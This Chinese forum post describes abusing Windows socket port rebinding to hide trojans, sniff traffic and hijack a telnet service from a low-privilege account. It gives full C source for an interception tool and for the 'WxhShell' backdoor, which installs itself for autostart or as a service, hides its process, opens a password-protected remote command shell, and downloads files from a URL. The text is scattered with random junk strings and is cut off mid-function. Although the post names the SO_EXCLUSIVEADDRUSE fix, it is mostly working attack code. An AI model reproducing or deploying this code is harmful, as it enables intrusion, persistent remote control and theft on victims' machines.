社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14789阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8XzR wYV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3'qJ/*]9  
`m>*d!h=  
  saddr.sin_family = AF_INET; ##;Er47@^  
65p?Igb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); . DR<Te  
%K` % *D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y/ee~^YxK'  
WObvbaK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TUDr\' @/f  
? glSC$b  
  这意味着什么?意味着可以进行如下的攻击: J(%0z:exs  
\"^w'ng  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m&\h4$[kql  
l>{R`BZ/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }i`PGx  
{Jx4xpvPo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SWQ5fcPu  
tqeZ#w7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "D'B3; uWK  
I8/DR z$A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n;U`m$vL%  
\2}bi:e 6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 te !S09(  
Zh*u(rO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T ;vF(  
Ucm :S-  
  #include Nwt" \3  
  #include H5]^ 6 HwX  
  #include 2eC(Ijq[a  
  #include    J-) XQDD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \XM^oE#G  
  int main() $dzy%lle  
  { D]W$?( =4  
  WORD wVersionRequested; 1~ t{aLPz  
  DWORD ret; =ng\ 9y[;D  
  WSADATA wsaData; 7.@TK&  
  BOOL val; %]6~Eq%s  
  SOCKADDR_IN saddr; x{,q]u /  
  SOCKADDR_IN scaddr; m-DsY  
  int err; >O?U= OeD  
  SOCKET s; J?}WQLVP'  
  SOCKET sc; 4RV%Z!kcD!  
  int caddsize; * Y7jl#7  
  HANDLE mt; `|#Qx3n%  
  DWORD tid;   2aB^WY'tC  
  wVersionRequested = MAKEWORD( 2, 2 ); B`o]*"xkB  
  err = WSAStartup( wVersionRequested, &wsaData ); 0i|oYaC  
  if ( err != 0 ) { C2xL1`  
  printf("error!WSAStartup failed!\n"); )+"'oY$]}  
  return -1; Ru>uL@w  
  } ]M[#.EX  
  saddr.sin_family = AF_INET; I}t3 p|z  
   0zCw>wBPW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3g~^[&|i  
vZ N!Zl7S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +1!qs,  
  saddr.sin_port = htons(23); kbfC|5S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *^wB!{.#  
  { {^rs#, W  
  printf("error!socket failed!\n"); k`9)=&zX+  
  return -1; `S.ZS}~!F  
  } <[J[idY1he  
  val = TRUE; d]i(h~?_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RQp|T5Er*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !>`N$-U X  
  { >'xGp7}y  
  printf("error!setsockopt failed!\n"); p=B>~CH  
  return -1; u#A<hq;  
  } hj$ e|arB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8kOKwEX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N2$I}q%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XfE -fH1j  
#E+gXan  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o|iYd n\  
  { KdUnD4d  
  ret=GetLastError(); -:9P%jWt  
  printf("error!bind failed!\n"); )VK }m9Ae  
  return -1; Za7q$7F7Bc  
  } 7`H 1f]d  
  listen(s,2); 6^n0[7  
  while(1) j:&4-K};Z`  
  { |*X*n*oI  
  caddsize = sizeof(scaddr); l|+BC  
  //接受连接请求 }Jh: 8BNuP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xy5s^82?  
  if(sc!=INVALID_SOCKET) #:|+XLL  
  { j0GMTri3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?$Wn!"EC8  
  if(mt==NULL) Z!&Rr~i <  
  { a7/-wk  
  printf("Thread Creat Failed!\n"); CBKkBuKuk  
  break; C"qU-&*v  
  } lvpc*d|K  
  } X$\i{p9jw  
  CloseHandle(mt); 9Sq%s&  
  } 5P h X"7  
  closesocket(s); hv$m4,0WB  
  WSACleanup(); f8<o8*`7  
  return 0; g3sUl&K  
  }   b7\ cxgRq  
  DWORD WINAPI ClientThread(LPVOID lpParam) q7m6&2$[  
  { vF/ =J  
  SOCKET ss = (SOCKET)lpParam; NHgjRP z"  
  SOCKET sc;  ,chf~-d  
  unsigned char buf[4096]; dj&}Gedy  
  SOCKADDR_IN saddr; LaIJ1jf  
  long num; 3q:{1rc  
  DWORD val; o{kbc5_  
  DWORD ret; HygY>s+3[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /DO/Tqdfe  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b2^AP\: k  
  saddr.sin_family = AF_INET; +wk`;0sA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N_Af3R1_  
  saddr.sin_port = htons(23); ^, i>'T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F'?I-jtI  
  { ;C/bJEgdd  
  printf("error!socket failed!\n"); ixh47M  
  return -1; O0*e)i8  
  } ZRUhAp'<qj  
  val = 100; ?Jusl8Sm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wVA|!>v  
  { |m?vVLq  
  ret = GetLastError(); 2~p[7?sp'  
  return -1; }5O>EXE0R  
  } hc$@J}`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZDYJhJ.  
  { Zz |MIGHm  
  ret = GetLastError(); Bl1Z4` 3  
  return -1; 9kY[j2,+  
  } 8g7,2f/ }  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kK~IwA  
  { rt+..t\  
  printf("error!socket connect failed!\n"); do>"[RO  
  closesocket(sc); ?68uS;  
  closesocket(ss); .`Zf}[5[  
  return -1; d( *fy}  
  } ftavbNR`W  
  while(1) qkP/Nl. u  
  { /WnE:3G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q1hMmMi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q7o5R{.oJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1(GHCxA8G  
  num = recv(ss,buf,4096,0); ^yKY'>T#d  
  if(num>0) AzpV4(:an.  
  send(sc,buf,num,0); $ 'QdFkOr  
  else if(num==0) d2ENm%q*PX  
  break; )06iV  
  num = recv(sc,buf,4096,0); "n\%_'R\hH  
  if(num>0) :PnSQjV:  
  send(ss,buf,num,0); N\1/JW+  
  else if(num==0) I]J*BD#n.  
  break; ;<G<1+  
  } ;+I4&VieK  
  closesocket(ss); ^!;=6}YR  
  closesocket(sc); bYh9sO/l  
  return 0 ; [H"#7t.V-~  
  } )Z@-DA*Q-  
g>7Y~_}  
{lzG*4?  
========================================================== jV7&Y.$zF]  
qMS}t3X  
下边附上一个代码,,WXhSHELL _b4fS'[  
~j @UlP  
========================================================== <-jGqUN_I  
U06o ;s(  
#include "stdafx.h" c! H 9yk  
mKg@W;0ML  
#include <stdio.h> ke.7Zp2.R  
#include <string.h> JFqf;3R  
#include <windows.h> "gNK><  
#include <winsock2.h> < 3 j~=-  
#include <winsvc.h> JAn1{<Ky  
#include <urlmon.h> ]s|lxqP  
]~a_d)  
#pragma comment (lib, "Ws2_32.lib") Inuc(_I  
#pragma comment (lib, "urlmon.lib") h[ 6hM^n  
H] qq ~bO[  
#define MAX_USER   100 // 最大客户端连接数 {B yn{?w  
#define BUF_SOCK   200 // sock buffer '%3{jc-}  
#define KEY_BUFF   255 // 输入 buffer voRfjsS~  
<qiICb)~  
#define REBOOT     0   // 重启 jgvh[@uB?  
#define SHUTDOWN   1   // 关机 :?r*p>0$  
G79C {|c\  
#define DEF_PORT   5000 // 监听端口 J/4y|8T/y  
a|N0(C  
#define REG_LEN     16   // 注册表键长度 J35l7HH  
#define SVC_LEN     80   // NT服务名长度 2A$0CUMb  
~2N-k1'-'  
// 从dll定义API 2%]hYr;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); coB6 rW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x|apQ6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %9c|%#3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }?O[N}>,m  
.9\Cy4_qSd  
// wxhshell配置信息 Jc~E"x  
struct WSCFG { ;x>;jS.t  
  int ws_port;         // 监听端口 ~! Lw1]&  
  char ws_passstr[REG_LEN]; // 口令 .{N\<01  
  int ws_autoins;       // 安装标记, 1=yes 0=no )Ul&1UYA  
  char ws_regname[REG_LEN]; // 注册表键名 uaQ&&5%%J  
  char ws_svcname[REG_LEN]; // 服务名 ,eELRzjl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?\yB)Nd y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \!X?zR_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p\ txlT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AZ8UXq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pa] TeH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -v*x V;[  
gv` h-b  
}; |z7dRDU}]  
q lY\*{x4  
// default Wxhshell configuration Z oTNm  
struct WSCFG wscfg={DEF_PORT, A. Nz_!  
    "xuhuanlingzhe", q=[U }{  
    1, tq E>Zx=X  
    "Wxhshell", 6IF|3@yD  
    "Wxhshell", > I%zd/q?  
            "WxhShell Service", UIw?;:Y  
    "Wrsky Windows CmdShell Service", H*qD: N  
    "Please Input Your Password: ", gO{W#%  
  1, [oHOHp/V  
  "http://www.wrsky.com/wxhshell.exe", Pw #2<>  
  "Wxhshell.exe" fle0c^=  
    }; ty;o&w$  
lIy/;hIc  
// 消息定义模块 KS>Fl->  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2wOy}:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F9D"kG;Dk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w})NmaT;YF  
char *msg_ws_ext="\n\rExit."; }@4| 7  
char *msg_ws_end="\n\rQuit."; y84XoDQ  
char *msg_ws_boot="\n\rReboot..."; WA$ p_% r=  
char *msg_ws_poff="\n\rShutdown..."; & ^!v*=z  
char *msg_ws_down="\n\rSave to "; 4O Zy&,  
;G$)MS'nB  
char *msg_ws_err="\n\rErr!"; I! ITM<Z$l  
char *msg_ws_ok="\n\rOK!"; InX{V|CW?  
o;'4c  
char ExeFile[MAX_PATH]; fsb=8>}63}  
int nUser = 0; Pu/lpHm|  
HANDLE handles[MAX_USER]; +wjlAqMQ  
int OsIsNt; ]J~g'">  
0eaUorm)  
SERVICE_STATUS       serviceStatus; ^AH-+#5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wO\!xW:  
@>9A$w$H|a  
// 函数声明 f8F1~q  
int Install(void); "x.88,T6  
int Uninstall(void); S%P3ek>3  
int DownloadFile(char *sURL, SOCKET wsh); `w(sXkeaI  
int Boot(int flag); H!^C2  
void HideProc(void); u> In(7\  
int GetOsVer(void); ^"/Dih\_  
int Wxhshell(SOCKET wsl); 4}PeP^pj  
void TalkWithClient(void *cs); K+t];(  
int CmdShell(SOCKET sock); VG#$fRrZ  
int StartFromService(void); :EaiM J_=  
int StartWxhshell(LPSTR lpCmdLine); {C,  #rj  
nR#a)et  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a#6,#Q"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OUKj@~T  
{9,R@>R  
// 数据结构和表定义 8s&2gn1  
SERVICE_TABLE_ENTRY DispatchTable[] = Bzwx0c2VY8  
{ qIUC2,&g  
{wscfg.ws_svcname, NTServiceMain}, 7@\GU]. 2  
{NULL, NULL} #s/{u RYQ  
}; j?d!}v  
c8!j6\dC*  
// 自我安装 )m>6hk  
int Install(void) s=}~Q&8  
{ r8H7TJI0   
  char svExeFile[MAX_PATH]; 6;[1Jz]?i  
  HKEY key; rGAFp,}-f  
  strcpy(svExeFile,ExeFile); /!o1l\i=5  
DD)mN) &T  
// 如果是win9x系统,修改注册表设为自启动 jFS 'I*1+  
if(!OsIsNt) { se"um5N-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jBGG2[hV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nEuct4BcL}  
  RegCloseKey(key); Y~}QJ+`?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .M`LUb"!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U0ns3LirP  
  RegCloseKey(key); xBt4~q;#sE  
  return 0; xg4T` ])  
    } {!>E9Px  
  } =54Vs8.  
} R\i]O  
else { fa/P%9db  
C!oksI  
// 如果是NT以上系统,安装为系统服务 RbyF#[}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 939]8BERt  
if (schSCManager!=0) Ig='a"%  
{ t P At?  
  SC_HANDLE schService = CreateService Fj36K6!#?  
  ( k^~@9F5k  
  schSCManager, QJniM"8v  
  wscfg.ws_svcname, [k}dES#  
  wscfg.ws_svcdisp, ktdz@f  
  SERVICE_ALL_ACCESS, /"g[Ay  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4/ 0/#G#j  
  SERVICE_AUTO_START, +YkmLD  
  SERVICE_ERROR_NORMAL, lsN /$ M|}  
  svExeFile, S]Sp Z8  
  NULL, &3+1D1"y/  
  NULL, _?*rtDzIM  
  NULL, 3/ yt*cr  
  NULL, A;b=E[i v  
  NULL p,!fIx  
  ); V_7 Y1GD  
  if (schService!=0) zLE>kK  
  { dY48S{  
  CloseServiceHandle(schService); i,C0o   
  CloseServiceHandle(schSCManager); ?nj"Ptzs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + 6i7,U  
  strcat(svExeFile,wscfg.ws_svcname); MLEIx()  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JuKk"tr~RB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zWP.1 aA&  
  RegCloseKey(key); 9 kTD}" %2  
  return 0; o9DYr[  
    } ~pDRF(  
  } m1M;'tT@  
  CloseServiceHandle(schSCManager); cWX"e6  
} 1D 3 dYVE  
} .eZPp~[lAN  
tRpL0 =y  
return 1; KY;uO 8Te  
} 7<Z~\3x  
g]oc(RM  
// 自我卸载 $X{B* WF  
int Uninstall(void) ?HEo9/ *7  
{ '2Mjz6mBDA  
  HKEY key; #3 }5cC8_  
({ :yw  
if(!OsIsNt) { .YnP% X=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~5XL@jI^  
  RegDeleteValue(key,wscfg.ws_regname); 8YT_DM5iI  
  RegCloseKey(key); . x\/XlM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6:SK{RSURC  
  RegDeleteValue(key,wscfg.ws_regname); /ynKKJx<Y  
  RegCloseKey(key); oho AUT  
  return 0; S|O%h}AH;  
  } *Xf[b)FR  
} @ U7#, G  
} BXKlO(7  
else { D]LFX/hlH  
o|Yn(xu-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fF9;lWt  
if (schSCManager!=0) 9Y!0>&o  
{ DkF@XK0c3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DKaG?Y,*p  
  if (schService!=0) )U"D4j*p  
  { [<@A8Q5,y  
  if(DeleteService(schService)!=0) { 8\W3Fv Q  
  CloseServiceHandle(schService); Lv`8jSt\  
  CloseServiceHandle(schSCManager); ImT+8p a  
  return 0; rTm>8et  
  } 0k. #  
  CloseServiceHandle(schService); 7>c 0V&  
  } tq4"Q BIKh  
  CloseServiceHandle(schSCManager); |zRoXO`]-*  
} h>mBkJ {  
} 7><* 9iOW  
R?={{+O  
return 1; x3p;H02i\  
} =F!",a~  
:"y7Weh  
// 从指定url下载文件  8E.5k@  
int DownloadFile(char *sURL, SOCKET wsh) h!X'SGK  
{ ->RF`SQu  
  HRESULT hr; nEa'e5 lg  
char seps[]= "/"; +0JH"L5!  
char *token; =%#$HQ=  
char *file; /4f 5s#hR  
char myURL[MAX_PATH]; pRDON)$  
char myFILE[MAX_PATH]; leX7(Y;!a7  
GakmROZ@9  
strcpy(myURL,sURL); }. Na{]<gh  
  token=strtok(myURL,seps); C7c|\T  
  while(token!=NULL) o to wvm  
  { z wniS6R1  
    file=token; k8t Na@H  
  token=strtok(NULL,seps); jmZ|b6  
  } `*2*xDuP  
zei9,^ C  
GetCurrentDirectory(MAX_PATH,myFILE); b|V4Fp  
strcat(myFILE, "\\"); D^T7pO  
strcat(myFILE, file); BSq;R G(  
  send(wsh,myFILE,strlen(myFILE),0); `hQ!*f6  
send(wsh,"...",3,0); }GU6Q|s[u[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sQ3ayB`  
  if(hr==S_OK) S:B- nI  
return 0; HnKF#<  
else >R'VY "\  
return 1; 19YJ`(L`x  
VgC9'"|  
} ;29XvhS8  
[gg 7Z|Hu  
// 系统电源模块 51FK~ 5  
int Boot(int flag) aaa#/OWQZ  
{ /9vMGef@  
  HANDLE hToken; `'WY'\|C  
  TOKEN_PRIVILEGES tkp; T\b";+!W  
si"mM>e  
  if(OsIsNt) { *{p& Fy55  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'zD;:wT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w|UKMbRMU]  
    tkp.PrivilegeCount = 1; Kt&$Si  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0Ts_"p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FO3eg"{N  
if(flag==REBOOT) { BBuYO$p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~sU! 1  
  return 0; tRrY)eElS  
} w _6Y+  
else { 1{fwr1b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6w`}+3  
  return 0; (Q p] 0  
} dxhjPS~^Q  
  } 1wNY}3  
  else { pl^"1Z=*  
if(flag==REBOOT) { uD*s^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rsIPI69qJ.  
  return 0; Le$u$ulS  
} KA*l6`(  
else { 3~1lVU:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'frL/[S  
  return 0; p/^\(/\])  
} 'I01F:`  
} : 1f5;]%N  
V/wc[p ~  
return 1; r7BH{>-  
} $\J9F=<a  
jX8C2}j  
// win9x进程隐藏模块 ,knI26Jh  
void HideProc(void) r1H['{$  
{ CR8r|+(8  
\oZUG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <cS7L0h  
  if ( hKernel != NULL ) oB}G^t  
  { @ke})0 `5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^1& LHrT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "jN-Yd,z  
    FreeLibrary(hKernel); `/j|Rb|eow  
  } `0WA!(W  
u:u 7|\q  
return; GbrPtu2{@V  
} ~9'4w-Sy  
{{)[Ap)  
// 获取操作系统版本 */dsMa  
int GetOsVer(void) 87E3pe  
{  3usA  
  OSVERSIONINFO winfo; z&J ow/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ALieUf  
  GetVersionEx(&winfo); [<1+Q =;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C-b%PgA  
  return 1; $j2)_(<A%Q  
  else +mW$D@Pf  
  return 0;  #=~1hk  
} TOF62,  
la{:RlW  
// 客户端句柄模块 oZcwbo8  
int Wxhshell(SOCKET wsl) d`][1rZk  
{ &Or=_5Y`  
  SOCKET wsh; )tQ6rd'  
  struct sockaddr_in client; U.sPFt  
  DWORD myID; T9v#Jb6  
fy-Z{  
  while(nUser<MAX_USER) ~5dq5_  
{ ?RAR  
  int nSize=sizeof(client); + d)~;I$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]f @LhC1x  
  if(wsh==INVALID_SOCKET) return 1; fB"gM2'  
nKJ7K8)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kITmo"$K  
if(handles[nUser]==0) iwx0V  
  closesocket(wsh); F,2#;t4  
else 4O"kOEkKT>  
  nUser++; >{) #|pWU  
  } _N#3lU?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |a:VpM  
Uht:wEr  
  return 0; ]~ eWr2uG?  
} 0guc00IN  
v5ddb)  
// 关闭 socket f<:SdtG5  
void CloseIt(SOCKET wsh) 'Mhdw}  
{ W_n.V" hN  
closesocket(wsh); {%~ Ec4r  
nUser--; f]65iE?x  
ExitThread(0); )KQv4\0y<  
} ?(UXK hs  
]p.f*]  
// 客户端请求句柄 T.N7`  
void TalkWithClient(void *cs) y:zT1I@>  
{ L"<Eov6  
A;HKR4p;8  
  SOCKET wsh=(SOCKET)cs; h#;K9#x6  
  char pwd[SVC_LEN]; Jl9TMu!1]  
  char cmd[KEY_BUFF]; _rh.z_a7w  
char chr[1]; BCB/cBE  
int i,j; rX d2[pp  
Y]0y -H  
  while (nUser < MAX_USER) { ghR]$SG  
CP#MNNvgrw  
if(wscfg.ws_passstr) { R*#Q=_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;//q jo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 717m.t,x  
  //ZeroMemory(pwd,KEY_BUFF); 3;gtuqwD$  
      i=0; ~}ZX^l&k{P  
  while(i<SVC_LEN) { 1h0ohW  
'MlC 1HEp  
  // 设置超时 Zpd>' ${4  
  fd_set FdRead; 2Yjysn  
  struct timeval TimeOut; \uIC<#o"N  
  FD_ZERO(&FdRead); 5i&V ~G  
  FD_SET(wsh,&FdRead); rmoEc]kt]  
  TimeOut.tv_sec=8; %K,,Sl_  
  TimeOut.tv_usec=0; v@SrEmg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [cs8/Q8+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @(?d0xCg  
-^"?a]B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `W S  
  pwd=chr[0]; ~H~4 fp b  
  if(chr[0]==0xd || chr[0]==0xa) { ~[,TLg 6  
  pwd=0; J0plQDe  
  break; \{mJO>x  
  } &<b7T$c  
  i++; =D$r5D/xd  
    } ->{WO+6(  
+JVfnTd  
  // 如果是非法用户,关闭 socket @C)h;TR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GQNiBsV  
} P6'I:/V  
+:Zi(SuS]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X;RI7{fW%X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m <ruFxY  
:HQ/vVw'"9  
while(1) { |{"7/~*[  
Ro$XbU)  
  ZeroMemory(cmd,KEY_BUFF); ~`f B\7M  
h:90K  
      // 自动支持客户端 telnet标准   T ua @w+  
  j=0; Im#$iPIvT  
  while(j<KEY_BUFF) { 4 l(o{{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *r3vTgo$  
  cmd[j]=chr[0]; }H.vH  
  if(chr[0]==0xa || chr[0]==0xd) { cv1L!Ce,  
  cmd[j]=0; go5!zSs  
  break; 7NEn+OI4  
  } AV! cCQ  
  j++; ,"ZlY}!Gn  
    } w!M ^p&T7  
4(IP  
  // 下载文件 g/gLG:C  
  if(strstr(cmd,"http://")) { Rgu^> ~   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N`MQHQ1  
  if(DownloadFile(cmd,wsh)) [i_x 1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gC-0je  
  else xn[di-L F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xs_y!l  
  } 2uEu,YC  
  else { N*W.V,6yH  
#1k,t  
    switch(cmd[0]) { c5pG?jr+d  
  w:v:znQrW  
  // 帮助 .ji%%f  
  case '?': { Op~+yMef  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (1vS)v $L  
    break; #\QC%"%f  
  } &rKhB-18)  
  // 安装 _>I5Ud8(-  
  case 'i': { ]Hq%Q~cE  
    if(Install()) /+YWp>6LU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V:18]:  
    else _A*0K,F-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SF7 Scd  
    break;  v<W++X7z  
    } \PJ89u0  
  // 卸载 39#>C~BOl  
  case 'r': { *uR'eXW  
    if(Uninstall()) Gx($q;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sq%R  
    else e +U o-CO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jT',+   
    break; /8T{bJ5  
    } jL&F7itP  
  // 显示 wxhshell 所在路径 )&K%Me  
  case 'p': { .+sIjd  
    char svExeFile[MAX_PATH]; uWE@7e4'I  
    strcpy(svExeFile,"\n\r"); .CYkb8hF  
      strcat(svExeFile,ExeFile); zT"#9"["  
        send(wsh,svExeFile,strlen(svExeFile),0); 9"TPDU7"  
    break; |.5d^z  
    } Dlp::U*N'  
  // 重启 ,@xZuq+K<  
  case 'b': { ;C'*Ui  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +,,~ <Vm  
    if(Boot(REBOOT)) bql6Z1l  
